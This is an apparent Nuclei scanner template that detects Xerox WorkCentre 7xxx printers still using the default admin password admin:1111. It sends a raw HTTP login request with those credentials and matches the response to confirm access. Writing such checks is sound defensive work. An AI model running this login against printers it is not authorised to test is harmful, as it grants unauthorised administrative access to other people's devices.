xerox7-default-login: Xerox WorkCentre 7xxx Printer Default Login

id: xerox7-default-login

info:
  name: Xerox WorkCentre 7xxx Printer Default Login
  author: MiroslavSotak
  severity: high
  description: Xerox WorkCentre 7xxx printer. default admin credentials admin:1111 were discovered.
  reference:
    - https://www.support.xerox.com/en-us/article/en/x_wc7556_en-O23530
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
  tags: xerox,default-login,vuln

http:
  - raw:
      - |
        POST /userpost/xerox.set HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _fun_function=HTTP_Authenticate_fn&NextPage=%2Fproperties%2Fauthentication%2FluidLogin.php&webUsername={{username}}&webPassword={{password}}&frmaltDomain=default

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - 1111

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "window.opener.top.location.pathname"
          - "Xerox Corporation"
        condition: and

      - type: word
        part: body
        words:
          - "invalid"
          - "errmsg"
        condition: or
        negative: true
# digest: 490a0046304402200ec18ca564139281abacbe7d4a623a980a5cadf03e4d74976a435c2224b6da3e022060ea3af3fadba60198d769d5c528a6c4a724ee4409c6bb73f6dc033f1c811d37:922c64590222798bb761d5b6d8e72950